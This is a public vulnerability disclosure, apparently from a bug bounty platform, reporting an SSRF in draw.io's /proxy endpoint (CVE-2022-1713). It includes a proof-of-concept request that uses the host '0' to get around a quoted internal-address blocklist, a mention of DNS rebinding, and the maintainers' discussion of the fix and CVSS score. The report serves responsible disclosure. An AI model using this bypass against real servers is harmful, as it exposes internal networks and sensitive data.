# SSRF on /proxy in jgraph/drawio

5

✓ Valid Reported on May 12th 2022

## Description

draw.io is vulnerable to SSRF on the `/proxy` endpoint. It's trivial to bypass the protections on `checkUrlParameter` .

## Proof of Concept

Make a request to proxy?url=http%3a//0:8080/

```
GET /proxy?url=http%3a//0:8080/ HTTP/1.1
Host: 127.0.0.1:8080
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K
sec-ch-ua-platform: "macOS"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/?mode=device&title=Untitled%20Diagram.drawi
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
```

The `url` parameter is set to `http%3a//0:8080/` bypassing the `checkUrlParameter` function :

```
public boolean checkUrlParameter(String url)
    {
        if (url != null)
        if (url != null)
        {
            try
            {
                URL parsedUrl = new URL(url);
                String protocol = parsedUrl.getProtocol();
                String host = parsedUrl.getHost().toLowerCase();

                return (protocol.equals("http") || protocol.equals("https")
                        && !host.endsWith(".internal")
                        && !host.endsWith(".local")
                        && !host.contains("localhost")
                        && !host.startsWith("0.") // 0.0.0.0/8
                        && !host.startsWith("10.") // 10.0.0.0/8
                        && !host.startsWith("127.") // 127.0.0.0/8
                        && !host.startsWith("169.254.") // 169.254.0.0/16
                        && !host.startsWith("172.16.") // 172.16.0.0/12
                        && !host.startsWith("172.17.") // 172.16.0.0/12
                        && !host.startsWith("172.18.") // 172.16.0.0/12
                        && !host.startsWith("172.19.") // 172.16.0.0/12
                        && !host.startsWith("172.20.") // 172.16.0.0/12
                        && !host.startsWith("172.21.") // 172.16.0.0/12
                        && !host.startsWith("172.22.") // 172.16.0.0/12
                        && !host.startsWith("172.23.") // 172.16.0.0/12
                        && !host.startsWith("172.24.") // 172.16.0.0/12
                        && !host.startsWith("172.25.") // 172.16.0.0/12
                        && !host.startsWith("172.26.") // 172.16.0.0/12
                        && !host.startsWith("172.27.") // 172.16.0.0/12
                        && !host.startsWith("172.28.") // 172.16.0.0/12
                        && !host.startsWith("172.29.") // 172.16.0.0/12
                        && !host.startsWith("172.30.") // 172.16.0.0/12
                        && !host.startsWith("172.31.") // 172.16.0.0/12
                        && !host.startsWith("192.0.0.") // 192.0.0.0/24
                        && !host.startsWith("192.168.") // 192.168.0.0/16
                        && !host.startsWith("198.18.") // 198.18.0.0/15
                        && !host.startsWith("198.19.") // 198.18.0.0/15
                        && !host.endsWith(".arpa"); // reverse domain (nee
            }
[...]
```

On this PoC we used the `0` host that it's equal to `0.0.0.0`. There are several ways to bypass this protection.

## Impact

An attacker can make a request as the server and read it's contents, this can lead to leak of sensitive information.

## References

- https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/
- SSRF Payloads that bypasses the check

CVE
CVE-2022-1713
(Published)

Vulnerability Type
CWE-918: Server-Side Request Forgery (SSRF)

Severity
High (7.5)

Registry
Other

Affected Version
>=18.0.3

Visibility
Public

Status
Fixed

Found by

Caio Lüders
@caioluders
legend

This report was seen 2,641 times.

Chat with us

We are processing your report and will contact the jgraph/drawio team within 24 hours.

We are processing your report and will contact the jgraph/drawio team within 24 hours.
6 months ago

David Benson validated this vulnerability 6 months ago

Thanks for the report. Another tricky one is define the exact effect for, depends on the server setup.

Note for anyone reading wondering about app.diagrams.net, we don't actually use this code there in production there because of the lack of sandboxing in most/all java environments.

Caio Lüders has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

David Benson 6 months ago Maintainer

https://github.com/jgraph/drawio/commit/283d41ec80ad410d68634245cf56114bc19331ee will be the fix.

Caio Lüders 6 months ago Researcher

Hi David,

I think the fix will still be vulnerable to DNS Rebinding. It's an TOCTOU problem, the DNS can change from the time it's checked and from the time it's actually used.

https://highon.coffee/blog/ssrf-cheat-sheet/#dns-rebinding-attempts

David Benson 6 months ago Maintainer

Thanks for the follow-up. DNS rebinding attack was looked into, but INetAddress will cache the 1st resolution so the 2nd resolution will not work.

David Benson marked this as fixed in 18.0.4 with commit 283d41 6 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

Chat with us

David Benson 6 months ago Maintainer

@jamieslome sorry, I was on the wrong issue, I meant this one.

Jamie Slome 6 months ago Admin

@davidjgraph - can you please provide the CVSS vector string, and I will update the CVSS of this report for you 👍

David Benson 6 months ago Maintainer

@jamieslome , thanks. We've gone with 7.5 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N on the other SSRFs, that seems to fit well.

Jamie Slome 6 months ago Admin

Score updated from:

Critical `9.3` to High `7.5`

I will update the CVE now as well :)

David Benson 6 months ago Maintainer

Thanks. Need a like button on comments so I don't send out a notification :)

Jamie Slome 6 months ago Admin

Nice idea! If you would like us to stay on top of your feature requests, feel free to create a ticket on our public board:

Create feature request

Jamie Slome 6 months ago Admin

Just for clarity on the reward for this report, would you like us to adjust the bo
or are you happy to keep the bounty as is?

Chat with us

David Benson 6 months ago Maintainer

Keep it as-is, this is about the severity being wrong, we don't want to be seen to be acting in bad faith.

Caio Lüders 6 months ago Researcher

Hello everyone,

Thanks for keeping the bounty, much appreciated!
As for the CVSS debate, I think the Scope is Changed because the attacker will use the SSRF to attack the internal network, and not only the drawio Server.

David Benson 6 months ago Maintainer

Yes, I think you're right on that one. It does depend on the network, though.

Sign in to join this conversation